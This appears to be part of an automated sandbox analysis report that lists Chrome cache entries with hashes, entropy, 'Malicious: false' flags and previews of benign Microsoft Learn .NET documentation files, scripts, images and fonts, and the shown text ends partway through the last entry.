URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 1301x300, components 3
Category:	downloaded
Size (bytes):	33370
Entropy (8bit):	7.973675198531228
Encrypted:	false
SSDEEP:	768:ykeIpO37gQNPfG0sxFrlSvg0EliJBectySxPMmPOGTeou78:ykX0DP+TFgg3iJNyyfPO9N78
MD5:	6E78EE324E008296108BFCDECD77E318
SHA1:	F7C39EE02C65BCEB2C66AD2D7F45523FEB5AD156
SHA-256:	EB7A4FF0F8ED4C8A95B2183968B5A59F4058B177F580AE2D2BEF4595B6F6E092
SHA-512:	BCFFF936BCC46AB4120690CFF3AF93491080E13084EA2BCD8BCE1A2470EA86EB007D695AEF23B73E0B84CB3C7FBF351D025BE47EC5D232AB613A420074F8A448
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-ignite-2024.jpg
Preview:	......JFIF..........................................................) .. )/'%'/9339GDG]]}............................................) .. )/'%'/9339GDG]]}......,....!..........6.....................................................................S..d+!XYd..Hb..1..IR.BA0.+!....$C...@I..bU.BH%.1K..A...%...1h.3.,..+0F!Z@....`..%!.o...._]..=......J./Uz.k..._m..}..,s.lV.ED...J...,..b.........Y....u...N..g......A.$"3!h.~`>.....d+.,.a).Rb.I...D,."...IXJ..$.A$BU...bA,.`Z.b..,c...KFf.0.B;.f..U.C ..V.X,e.,1t}.....k.:R..b.l....mt.....#..W...iY..d..#.HU$..1...GW%..d]..-.x.:.......&...o.......(h.+.)h..x.?.B....,.D$.0.R.Y.%.."B#E$.$..!..K)0.....X.X.,.1..3BHbAxX.....R.]...1..(..`..VX.2..L.s.......L....]xVU^..Q.v>.I......7I.fJ....+vJ.T0V..z.]....}.J..A...,.~?...+....]...y.\|. .H..fFh..l.?.....Yd.IHJ.V...K..F....IS.H...%..K....X.....,C...f..F..$...+..8WdV!]..,.U..p!.A..\|Vw.x_I.,$!!...i...2..7.l_...'....}.q..{..z.F........vm/.V.........9..F..dh..;..$..BT.G0O.G.......B.$RJ.Z,,.0%..

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (46884)
Category:	dropped
Size (bytes):	1817143
Entropy (8bit):	5.501007973622959
Encrypted:	false
SSDEEP:	24576:aLX8PHFluFxBSB1DkCXWjfz8gEPPXL/tie:auHFluFxBSB1DkCXWjfz7EPPXztH
MD5:	F57E274AE8E8889C7516D3E53E3EB026
SHA1:	F8D21465C0C19051474BE6A4A681FA0B0D3FCC0C
SHA-256:	2A2198DDBDAEDD1E968C0A1A45F800765AAE703675E419E46F6E51E3E9729D01
SHA-512:	9A9B42F70E09D821B799B92CB6AC981236FCF190F0A467CA7F7D382E3BCA1BC1D71673D37CD7426499D24DFBC0B7A6D10676C0E3FB2B0292249A5ABAB78F23F4
Malicious:	false
Preview:	"use strict";(()=>{var hve=Object.create;var _T=Object.defineProperty;var E2=Object.getOwnPropertyDescriptor;var bve=Object.getOwnPropertyNames;var _ve=Object.getPrototypeOf,vve=Object.prototype.hasOwnProperty;var yve=(e,t,o)=>t in e?_T(e,t,{enumerable:!0,configurable:!0,writable:!0,value:o}):e[t]=o;var Ie=(e,t)=>()=>(t\|\|e((t={exports:{}}).exports,t),t.exports);var xve=(e,t,o,n)=>{if(t&&typeof t=="object"\|\|typeof t=="function")for(let r of bve(t))!vve.call(e,r)&&r!==o&&_T(e,r,{get:()=>t[r],enumerable:!(n=E2(t,r))\|\|n.enumerable});return e};var Ya=(e,t,o)=>(o=e!=null?hve(_ve(e)):{},xve(t\|\|!e\|\|!e.__esModule?_T(o,"default",{value:e,enumerable:!0}):o,e));var U=(e,t,o,n)=>{for(var r=n>1?void 0:n?E2(t,o):t,s=e.length-1,i;s>=0;s--)(i=e[s])&&(r=(n?i(t,o,r):i(r))\|\|r);return n&&r&&_T(t,o,r),r};var ji=(e,t,o)=>(yve(e,typeof t!="symbol"?t+"":t,o),o),yR=(e,t,o)=>{if(!t.has(e))throw TypeError("Cannot "+o)};var wt=(e,t,o)=>(yR(e,t,"read from private field"),o?o.call(e):t.get(e)),Bo=(e,t,o)=>{if(t.has(

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
Preview:	// ES5 script for back compat with unsupported browsers..!(function () {..'use strict';..// Keep in sync with environment/browser.ts..var supportedBrowser =...typeof Blob === 'function' &&...typeof PerformanceObserver === 'function' &&...typeof Intl === 'object' &&...typeof MutationObserver === 'function' &&...typeof URLSearchParams === 'function' &&...typeof WebSocket === 'function' &&...typeof IntersectionObserver === 'function' &&...typeof queueMicrotask === 'function' &&...typeof TextEncoder === 'function' &&...typeof TextDecoder === 'function' &&...typeof customElements === 'object' &&...typeof HTMLDetailsElement === 'function' &&...typeof AbortController === 'function' &&...typeof AbortSignal === 'function' &&...'entries' in FormData.prototype &&...'toggleAttribute' in Element.prototype &&...'replaceChildren' in Element.prototype &&...// ES2019...'fromEntries' in Object &&...'flatMap' in Array.prototype &&...'trimEnd' in String.prototype &&...// ES2020...'allSettled' in Promise &

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/logos/logo_net.svg
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 19696, version 1.0
Category:	downloaded
Size (bytes):	19696
Entropy (8bit):	7.9898910353479335
Encrypted:	false
SSDEEP:	384:37wfQhsuDSP36Elj0oScS8w3F1ZTt5JwtRGsh1SJR3YL0BeojRs8E:37Cms69owH3FPutReFYL+eods8E
MD5:	4D0BFEA9EBDA0657CEE433600ED087B6
SHA1:	F13C690B170D5BA6BE45DEDC576776CA79718D98
SHA-256:	67E7D8E61B9984289B6F3F476BBEB6CEB955BEC823243263CF1EE57D7DB7AE9A
SHA-512:	9136ADEC32F1D29A72A486B4604309AA8F9611663FA1E8D49079B67260B2B09CEFDC3852CF5C08CA9F5D8EA718A16DBD8D8120AC3164B0D1519D8EF8A19E4EA5
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/docons.a1ef6ef.34a85e0c.woff2
Preview:	wOF2......L........`..L..........................T.V..@........6.$........ ..y.......d^..Awp(......<.1..fE.......I......z-.."YTZ.p.eMd.#..7.qY..Z.!..V...!......r...Z.;b........J....X..;.^...>UQ%U..CkT.....zKG.!\8%..>.b.4o4.t..........3..C..?u....E.S$.:.....mfZ......... .Q...].y..@....m.tC.C6. ......37..,V...F.a...A.. .PQ".A...B...p...q..!QA.N..m.......(..........gv..L...5M&._..+@.U..k.....CU..@...._.9q{....B..C.dB.F.a......J_Jo..M..oR....m......r...U0...y!.@-.h7...z....e.....J+...-{.s..1...^...zM[~....Fy.';.V...=.%......"..H..w.9L..$.{d.j&..... K...P`.$.g....;.0..........T.v....j.0Ht..<. ...<\......Ol.\|_U.+rmW..JK..".e<C ...q.?...B..l..Ni.....H....D..n@.......=c.f3.7........t...Z...}{....S;..KU.Ho.`....._?m....y...32l^.(..r..........Z...{U....W(......\|.q..P.`,.YQ....-,c...g*F..=....."M.......sq....-....w(.e.K........^2e.3&.\|,..4.TO..D].........W..W%j.._...nS.X.gE..3;2..:...Y..4j.-....c0A...U...p......d.M..6.L..b....O:[['wN.\|49.......]

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (33148), with no line terminators
Category:	downloaded
Size (bytes):	33148
Entropy (8bit):	4.917595394577667
Encrypted:	false
SSDEEP:	384:FnvJOb4OLIch+KCnMet7NPXlJl+HjZjBTRdE0zIwHdZ4vNNpUjV8din4E9hLUuro:5hOEO8chkMet7pCjBfcHkWOzUuro
MD5:	C4DE3932AA578FA03847604F09660315
SHA1:	5EFBA9D7F437AF4786560559FBF162C4475AAD4F
SHA-256:	7683C2566CBF3C67F1A645891CC7B4DE7D143FE40E0271E106AB55E90EF9C5A8
SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
